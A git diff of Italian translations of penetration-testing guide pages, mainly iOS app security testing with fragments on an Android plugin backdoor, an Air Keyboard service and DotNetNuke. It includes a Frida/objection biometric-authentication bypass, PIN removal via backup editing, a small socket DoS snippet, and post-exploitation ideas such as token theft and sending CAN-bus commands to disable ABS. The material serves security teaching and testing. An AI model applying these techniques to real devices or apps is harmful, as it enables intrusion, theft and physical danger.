* `dlopen()` la *libscan_x64.so* inclusa, eseguendo istantaneamente il nostro codice **con i permessi dell'app** (fotocamera, GPS, Bluetooth, filesystem, …).
|
||||
* `dlopen()` la *libscan_x64.so* inclusa, eseguendo istantaneamente il nostro codice **con i permessi dell'app** (fotocamera, GPS, Bluetooth, filesystem, ...).
|
||||
|
||||
Poiché il plugin è memorizzato nella cache su disco, il backdoor **persiste attraverso i riavvii** e si avvia ogni volta che l'utente seleziona la funzione correlata.
|
||||
Poiché il plugin è memorizzato nella cache su disco, il backdoor **persiste attraverso i riavvii** e si attiva ogni volta che l'utente seleziona la funzione correlata.
|
||||
|
||||
## 5. Idee Post-Exploitation
|
||||
|
||||
* Rubare i cookie di sessione, i token OAuth o i JWT memorizzati dall'app.
|
||||
* Rubare cookie di sessione, token OAuth o JWT memorizzati dall'app.
|
||||
* Rilasciare un APK di secondo livello e installarlo silenziosamente tramite `pm install` (l'app ha già `REQUEST_INSTALL_PACKAGES`).
|
||||
* Abusare di qualsiasi hardware connesso – nello scenario AnyScan puoi inviare comandi **OBD-II / CAN bus** arbitrari (sbloccare porte, disabilitare ABS, ecc.).
|
||||
|
||||
|
||||
@ -20,7 +20,7 @@ ios-testing-environment.md
|
||||
|
||||
### Basic iOS Testing Operations
|
||||
|
||||
Durante il testing **saranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire una di queste azioni, per favore, **inizia a leggere la pagina**:
|
||||
Durante il testing **verranno suggerite diverse operazioni** (connettersi al dispositivo, leggere/scrivere/caricare/scaricare file, utilizzare alcuni strumenti...). Pertanto, se non sai come eseguire nessuna di queste azioni, per favore, **inizia a leggere la pagina**:
|
||||
|
||||
{{#ref}}
|
||||
basic-ios-testing-operations.md
|
||||
@ -28,7 +28,7 @@ basic-ios-testing-operations.md
|
||||
|
||||
> [!TIP]
|
||||
> Per i passaggi successivi **l'app dovrebbe essere installata** nel dispositivo e dovrebbe aver già ottenuto il **file IPA** dell'applicazione.\
|
||||
> Leggi la pagina [Basic iOS Testing Operations](basic-ios-testing-operations.md) per imparare come fare.
|
||||
> Leggi la pagina [Basic iOS Testing Operations](basic-ios-testing-operations.md) per sapere come fare.
|
||||
|
||||
### Basic Static Analysis
|
||||
|
||||
@ -59,7 +59,7 @@ otool -I -v <app-binary> | grep stack_chk # Dovrebbe includere i simboli: stac
|
||||
otool -I -v <app-binary> | grep objc_release # Dovrebbe includere il simbolo _objc_release
|
||||
```
|
||||
|
||||
- **Binary Crittografato**: Il binario dovrebbe essere crittografato
|
||||
- **Encrypted Binary**: Il binario dovrebbe essere crittografato
|
||||
|
||||
```bash
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Il cryptid dovrebbe essere 1
|
||||
@ -67,7 +67,7 @@ otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Il cryptid dovrebbe e
|
||||
|
||||
**Identificazione di Funzioni Sensibili/Insecure**
|
||||
|
||||
- **Algoritmi di Hashing Deboli**
|
||||
- **Weak Hashing Algorithms**
|
||||
|
||||
```bash
|
||||
# Sul dispositivo iOS
|
||||
@ -79,7 +79,7 @@ grep -iER "_CC_MD5"
|
||||
grep -iER "_CC_SHA1"
|
||||
```
|
||||
|
||||
- **Funzioni Random Insecure**
|
||||
- **Insecure Random Functions**
|
||||
|
||||
```bash
|
||||
# Sul dispositivo iOS
|
||||
@ -93,7 +93,7 @@ grep -iER "_srand"
|
||||
grep -iER "_rand"
|
||||
```
|
||||
|
||||
- **Funzione ‘Malloc’ Insecure**
|
||||
- **Insecure ‘Malloc’ Function**
|
||||
|
||||
```bash
|
||||
# Sul dispositivo iOS
|
||||
@ -103,7 +103,7 @@ otool -Iv <app> | grep -w "_malloc"
|
||||
grep -iER "_malloc"
|
||||
```
|
||||
|
||||
- **Funzioni Insecure e Vulnerabili**
|
||||
- **Insecure and Vulnerable Functions**
|
||||
|
||||
```bash
|
||||
# Sul dispositivo iOS
|
||||
@ -135,7 +135,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
Controlla l'analisi dinamica che [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) esegue. Dovrai navigare tra le diverse visualizzazioni e interagire con esse, ma si occuperà di collegare diverse classi mentre esegue altre operazioni e preparerà un rapporto una volta completato.
|
||||
Controlla l'analisi dinamica che [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) esegue. Dovrai navigare tra le diverse viste e interagire con esse, ma si occuperà di collegare diverse classi mentre esegue altre operazioni e preparerà un rapporto una volta completato.
|
||||
|
||||
### Listing Installed Apps
|
||||
|
||||
@ -152,7 +152,7 @@ PID Name Identifier
|
||||
- Camera com.apple.camera
|
||||
- iGoat-Swift OWASP.iGoat-Swift
|
||||
```
|
||||
### Enumerazione di Base & Hooking
|
||||
### Basic Enumeration & Hooking
|
||||
|
||||
Impara come **enumerare i componenti dell'applicazione** e come **hookare metodi e classi** con objection:
|
||||
|
||||
@ -160,9 +160,9 @@ Impara come **enumerare i componenti dell'applicazione** e come **hookare metodi
|
||||
ios-hooking-with-objection.md
|
||||
{{#endref}}
|
||||
|
||||
### Struttura IPA
|
||||
### IPA Structure
|
||||
|
||||
La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compresso**. Rinominando la sua estensione in `.zip`, può essere **decompresso** per rivelarne i contenuti. All'interno di questa struttura, un **Bundle** rappresenta un'applicazione completamente confezionata pronta per l'installazione. All'interno, troverai una directory chiamata `<NAME>.app`, che racchiude le risorse dell'applicazione.
|
||||
La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compresso**. Rinominando la sua estensione in `.zip`, può essere **decompresso** per rivelarne i contenuti. All'interno di questa struttura, un **Bundle** rappresenta un'applicazione completamente impacchettata pronta per l'installazione. All'interno, troverai una directory chiamata `<NAME>.app`, che racchiude le risorse dell'applicazione.
|
||||
|
||||
- **`Info.plist`**: Questo file contiene dettagli di configurazione specifici dell'applicazione.
|
||||
- **`_CodeSignature/`**: Questa directory include un file plist che contiene una firma, garantendo l'integrità di tutti i file nel bundle.
|
||||
@ -171,18 +171,18 @@ La struttura di un **file IPA** è essenzialmente quella di un **pacchetto compr
|
||||
- **`PlugIns/`**: Questo può includere estensioni all'applicazione, note come file `.appex`, anche se non sono sempre presenti. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Viene utilizzato per salvare i dati permanenti della tua applicazione per l'uso offline, per memorizzare dati temporanei e per aggiungere funzionalità di annullamento all'app su un singolo dispositivo. Per sincronizzare i dati su più dispositivi in un singolo account iCloud, Core Data rispecchia automaticamente il tuo schema in un contenitore CloudKit.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Il file `PkgInfo` è un modo alternativo per specificare i codici di tipo e creatore della tua applicazione o bundle.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Sono i pacchetti di lingua che contengono risorse per quelle lingue specifiche e una risorsa predefinita nel caso in cui una lingua non sia supportata.
|
||||
- **Sicurezza**: La directory `_CodeSignature/` gioca un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi tramite firme digitali.
|
||||
- **Gestione degli Asset**: Il file `Assets.car` utilizza la compressione per gestire in modo efficiente gli asset grafici, cruciale per ottimizzare le prestazioni dell'applicazione e ridurre le sue dimensioni complessive.
|
||||
- **Frameworks e PlugIns**: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (`Frameworks/`) e di estendere la funzionalità dell'app (`PlugIns/`).
|
||||
- **Localizzazione**: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti di lingue specifiche.
|
||||
- **Security**: La directory `_CodeSignature/` gioca un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi attraverso firme digitali.
|
||||
- **Asset Management**: Il file `Assets.car` utilizza la compressione per gestire in modo efficiente gli asset grafici, cruciale per ottimizzare le prestazioni dell'applicazione e ridurre la sua dimensione complessiva.
|
||||
- **Frameworks and PlugIns**: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (`Frameworks/`) e di estendere la funzionalità dell'app (`PlugIns/`).
|
||||
- **Localization**: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti di lingue specifiche.
|
||||
|
||||
**Info.plist**
|
||||
|
||||
Il **Info.plist** funge da pietra miliare per le applicazioni iOS, racchiudendo dati di configurazione chiave sotto forma di **coppie chiave-valore**. Questo file è un requisito non solo per le applicazioni ma anche per le estensioni delle app e i framework inclusi. È strutturato in formato XML o binario e contiene informazioni critiche che vanno dai permessi dell'app alle configurazioni di sicurezza. Per un'esplorazione dettagliata delle chiavi disponibili, si può fare riferimento alla [**Documentazione per Sviluppatori Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
Il **Info.plist** funge da pietra miliare per le applicazioni iOS, racchiudendo dati di configurazione chiave sotto forma di **coppie chiave-valore**. Questo file è un requisito non solo per le applicazioni ma anche per le estensioni delle app e i framework inclusi. È strutturato in formato XML o binario e contiene informazioni critiche che vanno dai permessi dell'app alle configurazioni di sicurezza. Per un'esplorazione dettagliata delle chiavi disponibili, si può fare riferimento alla [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
|
||||
|
||||
Per coloro che desiderano lavorare con questo file in un formato più accessibile, la conversione in XML può essere effettuata facilmente utilizzando `plutil` su macOS (disponibile nativamente nelle versioni 10.2 e successive) o `plistutil` su Linux. I comandi per la conversione sono i seguenti:
|
||||
Per coloro che desiderano lavorare con questo file in un formato più accessibile, la conversione in XML può essere effettuata senza sforzo utilizzando `plutil` su macOS (disponibile nativamente nelle versioni 10.2 e successive) o `plistutil` su Linux. I comandi per la conversione sono i seguenti:
|
||||
|
||||
- **Per macOS**:
|
||||
- **For macOS**:
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
@ -191,7 +191,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Tra la miriade di informazioni che il file **Info.plist** può rivelare, voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto delle App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documenti personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
|
||||
Tra la miriade di informazioni che il file **Info.plist** può rivelare, le voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto delle App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documenti personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
@ -202,9 +202,9 @@ Nell'ambiente iOS, le directory sono designate specificamente per **applicazioni
|
||||
> [!WARNING]
|
||||
> Poiché le applicazioni in iOS devono essere sandboxed, ogni app avrà anche una cartella all'interno di **`$HOME/Library/Containers`** con **`CFBundleIdentifier`** dell'app come nome della cartella.
|
||||
>
|
||||
> Tuttavia, entrambe le cartelle (cartelle dati e cartelle contenitore) hanno il file **`.com.apple.mobile_container_manager.metadata.plist`** che collega entrambi i file nella chiave `MCMetadataIdentifier`).
|
||||
> Tuttavia, entrambe le cartelle (cartelle dei dati e dei contenitori) hanno il file **`.com.apple.mobile_container_manager.metadata.plist`** che collega entrambi i file nella chiave `MCMetadataIdentifier`.
|
||||
|
||||
Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo strumento **objection** fornisce un comando utile, `env`. Questo comando rivela informazioni dettagliate sulla directory per l'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando:
|
||||
Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo **strumento objection** fornisce un comando utile, `env`. Questo comando rivela informazioni dettagliate sulla directory per l'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
@ -230,7 +230,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Questo è il pacchetto dell'applicazione come visto prima nell'IPA, contiene dati essenziali dell'applicazione, contenuti statici e il binario compilato dell'applicazione.
|
||||
- Questa directory è visibile agli utenti, ma **gli utenti non possono scriverci**.
|
||||
- Il contenuto in questa directory **non è sottoposto a backup**.
|
||||
- I contenuti di questa cartella sono utilizzati per **convalidare la firma del codice**.
|
||||
- I contenuti di questa cartella sono utilizzati per **validare la firma del codice**.
|
||||
|
||||
**Directory dei dati:**
|
||||
|
||||
@ -240,7 +240,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Il contenuto in questa directory è **sottoposto a backup**.
|
||||
- L'app può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/**
|
||||
- Contiene tutti i **file che non sono specifici per l'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione plist.
|
||||
- Contiene tutti i **file che non sono specifici per l'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione della lista di proprietà (plist).
|
||||
- Le app iOS di solito utilizzano le sottodirectory `Application Support` e `Caches`, ma l'app può creare sottodirectory personalizzate.
|
||||
- **Library/Caches/**
|
||||
- Contiene **file cache semi-persistenti.**
|
||||
@ -263,7 +263,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Il contenuto in questa directory non è sottoposto a backup.
|
||||
- Il sistema operativo può eliminare automaticamente i file di questa directory quando l'app non è in esecuzione e lo spazio di archiviazione è scarso.
|
||||
|
||||
Diamo un'occhiata più da vicino alla directory del pacchetto dell'applicazione di iGoat-Swift (.app) all'interno della directory del pacchetto (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
Diamo un'occhiata più da vicino alla directory del pacchetto dell'applicazione iGoat-Swift (.app) all'interno della directory del pacchetto (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
@ -315,7 +315,7 @@ DVIA-v2:
|
||||
0000000100004acc adrp x10, 1098 ; 0x10044e000
|
||||
0000000100004ad0 add x10, x10, #0x268
|
||||
```
|
||||
Per stampare il **segmento Objective-C** dell'applicazione di esempio, si può usare:
|
||||
Per stampare il **segmento Objective-C** dell'applicazione di esempio si può usare:
|
||||
```bash
|
||||
otool -oV DVIA-v2
|
||||
DVIA-v2:
|
||||
@ -366,12 +366,12 @@ ios-basics.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> I seguenti luoghi per memorizzare informazioni dovrebbero essere controllati **subito dopo aver installato l'applicazione**, **dopo aver verificato tutte le funzionalità** dell'applicazione e anche dopo **essere usciti da un utente e accedere a un altro**.\
|
||||
> I seguenti luoghi per memorizzare informazioni dovrebbero essere controllati **subito dopo aver installato l'applicazione**, **dopo aver verificato tutte le funzionalità** dell'applicazione e anche dopo **essersi disconnessi da un utente e aver effettuato l'accesso a un altro**.\
|
||||
> L'obiettivo è trovare **informazioni sensibili non protette** dell'applicazione (password, token), dell'utente attuale e degli utenti precedentemente connessi.
|
||||
|
||||
### Plist
|
||||
|
||||
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliato controllare questi file dopo aver installato l'app e dopo averla utilizzata intensamente per vedere se nuovi dati vengono scritti.
|
||||
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliato controllare questi file dopo aver installato l'app e dopo averla utilizzata intensivamente per vedere se nuovi dati vengono scritti.
|
||||
|
||||
Il modo più comune per persistere i dati nei file plist è attraverso l'uso di **NSUserDefaults**. Questo file plist è salvato all'interno della sandbox dell'app in **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
@ -379,7 +379,7 @@ La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundatio
|
||||
|
||||
Questi dati non possono più essere accessibili direttamente tramite un computer fidato, ma possono essere accessibili eseguendo un **backup**.
|
||||
|
||||
Puoi **dumpare** le informazioni salvate utilizzando **`NSUserDefaults`** usando `ios nsuserdefaults get` di objection.
|
||||
Puoi **dumpare** le informazioni salvate utilizzando **`NSUserDefaults`** con il comando `ios nsuserdefaults get` di objection.
|
||||
|
||||
Per trovare tutti i plist utilizzati dall'applicazione, puoi accedere a `/private/var/mobile/Containers/Data/Application/{APPID}` e eseguire:
|
||||
```bash
|
||||
@ -528,7 +528,7 @@ Questo metodo rimuoverà tutte le richieste e risposte memorizzate nella cache d
|
||||
|
||||
### Snapshots
|
||||
|
||||
Ogni volta che premi il pulsante home, iOS **prende uno snapshot dello schermo corrente** per poter effettuare la transizione all'applicazione in modo molto più fluido. Tuttavia, se sono presenti **dati** **sensibili** nello schermo corrente, verranno **salvati** nell'**immagine** (che **persiste** **attraverso** **riavvii**). Questi sono gli snapshot a cui puoi anche accedere toccando due volte la schermata home per passare tra le app.
|
||||
Ogni volta che premi il pulsante home, iOS **prende uno snapshot dello schermo corrente** per poter effettuare la transizione all'applicazione in modo molto più fluido. Tuttavia, se sono presenti **dati sensibili** nello schermo corrente, verranno **salvati** nell'**immagine** (che **persiste** **attraverso** **riavvii**). Questi sono gli snapshot a cui puoi accedere anche toccando due volte la schermata home per passare tra le app.
|
||||
|
||||
A meno che l'iPhone non sia jailbroken, l'**attaccante** deve avere **accesso** al **dispositivo** **sbloccato** per vedere questi screenshot. Per impostazione predefinita, l'ultimo snapshot è memorizzato nel sandbox dell'applicazione nella cartella `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (i computer fidati non possono accedere al filesystem da iOS 7.0).
|
||||
|
||||
@ -665,11 +665,11 @@ Le informazioni sensibili possono essere cercate utilizzando strumenti da riga d
|
||||
...
|
||||
</plist>
|
||||
```
|
||||
Per gestire i backup crittografati, gli script Python disponibili nel [repo GitHub di DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), come **backup_tool.py** e **backup_passwd.py**, possono essere utili, sebbene possano richiedere aggiustamenti per la compatibilità con le ultime versioni di iTunes/Finder. Il [**tool iOSbackup**](https://pypi.org/project/iOSbackup/) è un'altra opzione per accedere ai file all'interno dei backup protetti da password.
|
||||
Per gestire i backup crittografati, gli script Python disponibili nel [repo GitHub di DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), come **backup_tool.py** e **backup_passwd.py**, possono essere utili, sebbene possano richiedere aggiustamenti per la compatibilità con le ultime versioni di iTunes/Finder. Il [**tool iOSbackup**](https://pypi.org/project/iOSbackup/) è un'altra opzione per accedere ai file all'interno di backup protetti da password.
|
||||
|
||||
### Modificare il Comportamento dell'App
|
||||
|
||||
Un esempio di modifica del comportamento dell'app attraverso modifiche al backup è dimostrato nell'[app Bither bitcoin wallet](https://github.com/bither/bither-ios), dove il PIN di blocco dell'interfaccia utente è memorizzato all'interno di `net.bither.plist` sotto la chiave **pin_code**. Rimuovendo questa chiave dal plist e ripristinando il backup si rimuove il requisito del PIN, fornendo accesso illimitato.
|
||||
Un esempio di modifica del comportamento dell'app attraverso modifiche al backup è dimostrato nell'[app Bither bitcoin wallet](https://github.com/bither/bither-ios), dove il PIN di blocco dell'interfaccia utente è memorizzato in `net.bither.plist` sotto la chiave **pin_code**. Rimuovendo questa chiave dal plist e ripristinando il backup si elimina il requisito del PIN, fornendo accesso illimitato.
|
||||
|
||||
## Riepilogo sul Test della Memoria per Dati Sensibili
|
||||
|
||||
@ -708,7 +708,7 @@ Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografa
|
||||
|
||||
### Use of Insecure and/or Deprecated Algorithms
|
||||
|
||||
Gli sviluppatori non dovrebbero utilizzare **deprecated algorithms** per eseguire **checks** di autorizzazione, **store** o **send** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hashes** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati **hashes** resistenti al brute-force con sale.
|
||||
Gli sviluppatori non dovrebbero utilizzare **deprecated algorithms** per eseguire **checks** di autorizzazione, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hashes** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati **hashes** resistenti al brute-force con sale.
|
||||
|
||||
### Check
|
||||
|
||||
@ -724,7 +724,7 @@ Per **maggiori informazioni** sulle API e le librerie crittografiche iOS, accedi
|
||||
|
||||
L'**autenticazione locale** gioca un ruolo cruciale, specialmente quando si tratta di proteggere l'accesso a un endpoint remoto attraverso metodi crittografici. L'essenza qui è che senza una corretta implementazione, i meccanismi di autenticazione locale possono essere elusi.
|
||||
|
||||
Il [**framework di Autenticazione Locale**](https://developer.apple.com/documentation/localauthentication) di Apple e il [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) forniscono API robuste per gli sviluppatori per facilitare i dialoghi di autenticazione degli utenti e gestire in modo sicuro i dati segreti, rispettivamente. Il Secure Enclave protegge l'ID delle impronte digitali per Touch ID, mentre Face ID si basa sul riconoscimento facciale senza compromettere i dati biometrici.
|
||||
Il [**framework di Autenticazione Locale**](https://developer.apple.com/documentation/localauthentication) di Apple e il [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) forniscono API robuste per consentire ai sviluppatori di facilitare i dialoghi di autenticazione degli utenti e gestire in modo sicuro i dati segreti, rispettivamente. Il Secure Enclave protegge l'ID delle impronte digitali per Touch ID, mentre Face ID si basa sul riconoscimento facciale senza compromettere i dati biometrici.
|
||||
|
||||
Per integrare Touch ID/Face ID, gli sviluppatori hanno due scelte API:
|
||||
|
||||
@ -732,7 +732,7 @@ Per integrare Touch ID/Face ID, gli sviluppatori hanno due scelte API:
|
||||
- **`Security.framework`** per l'accesso ai servizi di keychain di basso livello, proteggendo i dati segreti con autenticazione biometrica. Vari [wrapper open-source](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) semplificano l'accesso al keychain.
|
||||
|
||||
> [!CAUTION]
|
||||
> Tuttavia, sia `LocalAuthentication.framework` che `Security.framework` presentano vulnerabilità, poiché restituiscono principalmente valori booleani senza trasmettere dati per i processi di autenticazione, rendendoli suscettibili a bypass (fare riferimento a [Don't touch me that way, di David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
> Tuttavia, sia `LocalAuthentication.framework` che `Security.framework` presentano vulnerabilità, poiché restituiscono principalmente valori booleani senza trasmettere dati per i processi di autenticazione, rendendoli suscettibili a bypass (riferirsi a [Don't touch me that way, di David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
|
||||
|
||||
### Implementazione dell'Autenticazione Locale
|
||||
|
||||
@ -745,11 +745,11 @@ Un'autenticazione riuscita è indicata da un valore di ritorno booleano da **`ev
|
||||
|
||||
### Autenticazione Locale utilizzando il Keychain
|
||||
|
||||
Implementare l'**autenticazione locale** nelle app iOS comporta l'uso delle **API del keychain** per memorizzare in modo sicuro dati segreti come i token di autenticazione. Questo processo garantisce che i dati possano essere accessibili solo dall'utente, utilizzando il proprio codice di accesso del dispositivo o l'autenticazione biometrica come Touch ID.
|
||||
Implementare l'**autenticazione locale** nelle app iOS comporta l'uso delle **API del keychain** per memorizzare in modo sicuro i dati segreti come i token di autenticazione. Questo processo garantisce che i dati possano essere accessibili solo dall'utente, utilizzando il proprio codice di accesso del dispositivo o l'autenticazione biometrica come Touch ID.
|
||||
|
||||
Il keychain offre la possibilità di impostare elementi con l'attributo `SecAccessControl`, che limita l'accesso all'elemento fino a quando l'utente non si autentica con successo tramite Touch ID o codice di accesso del dispositivo. Questa funzionalità è cruciale per migliorare la sicurezza.
|
||||
|
||||
Di seguito sono riportati esempi di codice in Swift e Objective-C che dimostrano come salvare e recuperare una stringa dal/al keychain, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come impostare il controllo degli accessi per richiedere l'autenticazione Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati configurati, a condizione che sia configurato un codice di accesso del dispositivo.
|
||||
Di seguito sono riportati esempi di codice in Swift e Objective-C che dimostrano come salvare e recuperare una stringa dal/al keychain, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come impostare il controllo degli accessi per richiedere l'autenticazione Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati impostati, a condizione che sia configurato un codice di accesso del dispositivo.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Swift"}}
|
||||
@ -885,13 +885,13 @@ Se `LocalAuthentication.framework` è utilizzato in un'app, l'output conterrà e
|
||||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||||
/System/Library/Frameworks/Security.framework/Security
|
||||
```
|
||||
Se viene utilizzato `Security.framework`, solo il secondo verrà mostrato.
|
||||
Se `Security.framework` è utilizzato, solo il secondo verrà mostrato.
|
||||
|
||||
### Bypass del Framework di Autenticazione Locale
|
||||
|
||||
#### **Objection**
|
||||
|
||||
Attraverso il **Bypass Biometrics di Objection**, situato a [questa pagina GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo di **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, assicurando che restituisca costantemente un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi.
|
||||
Attraverso il **Bypass Biometrics di Objection**, situato a [questa pagina GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo di **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, assicurando che restituisca sempre un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi.
|
||||
|
||||
Per attivare questo bypass, viene impiegato il seguente comando:
|
||||
```bash
|
||||
@ -1008,7 +1008,7 @@ ios-serialisation-and-encoding.md
|
||||
|
||||
## Comunicazione di Rete
|
||||
|
||||
È importante verificare che non ci sia comunicazione **senza crittografia** e anche che l'applicazione stia correttamente **validando il certificato TLS** del server.\
|
||||
È importante verificare che non ci sia comunicazione **senza crittografia** e anche che l'applicazione stia **validando correttamente il certificato TLS** del server.\
|
||||
Per controllare questi tipi di problemi puoi utilizzare un proxy come **Burp**:
|
||||
|
||||
{{#ref}}
|
||||
@ -1090,4 +1090,5 @@ air-keyboard-remote-input-injection.md
|
||||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -62,14 +62,14 @@ La porta Android (55535) si aspetta una password di 4 caratteri crittografata co
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
```
|
||||
## 5. Causa Radice
|
||||
## 5. Causa Principale
|
||||
|
||||
1. **Nessun controllo di origine / integrità** sui frame in arrivo (iOS).
|
||||
2. **Uso improprio della crittografia** (chiave statica, ECB, mancanza di validazione della lunghezza) e **mancanza di gestione delle eccezioni** (Android).
|
||||
|
||||
## 6. Mitigazioni e Idee di Indurimento
|
||||
|
||||
* Non esporre servizi non autenticati su un dispositivo mobile.
|
||||
* Non esporre mai servizi non autenticati su un dispositivo mobile.
|
||||
* Derivare segreti per dispositivo durante l'onboarding e verificarli prima di elaborare l'input.
|
||||
* Legare il listener a `127.0.0.1` e utilizzare un trasporto crittografato e autenticato reciprocamente (ad es., TLS, Noise) per il controllo remoto.
|
||||
* Rilevare porte aperte inaspettate durante le revisioni di sicurezza mobile (`netstat`, `lsof`, `frida-trace` su `socket()` ecc.).
|
||||
|
||||
@ -13,13 +13,13 @@ Se accedi come **amministratore** in DNN è facile ottenere **RCE**, tuttavia un
|
||||
* Il wizard di installazione rivela la versione in `/Install/Install.aspx?mode=install` (accessibile su installazioni molto vecchie).
|
||||
* `/API/PersonaBar/GetStatus` (9.x) restituisce un blob JSON contenente `"dnnVersion"` per utenti a bassa privilegio.
|
||||
* Cookie tipici che vedrai su un'istanza live:
|
||||
* `.DOTNETNUKE` – ticket di autenticazione delle forme ASP.NET.
|
||||
* `.DOTNETNUKE` – ticket di autenticazione dei moduli ASP.NET.
|
||||
* `DNNPersonalization` – contiene dati del profilo utente in XML/serializzati (versioni vecchie – vedi RCE qui sotto).
|
||||
|
||||
---
|
||||
## Sfruttamento Non Autenticato
|
||||
|
||||
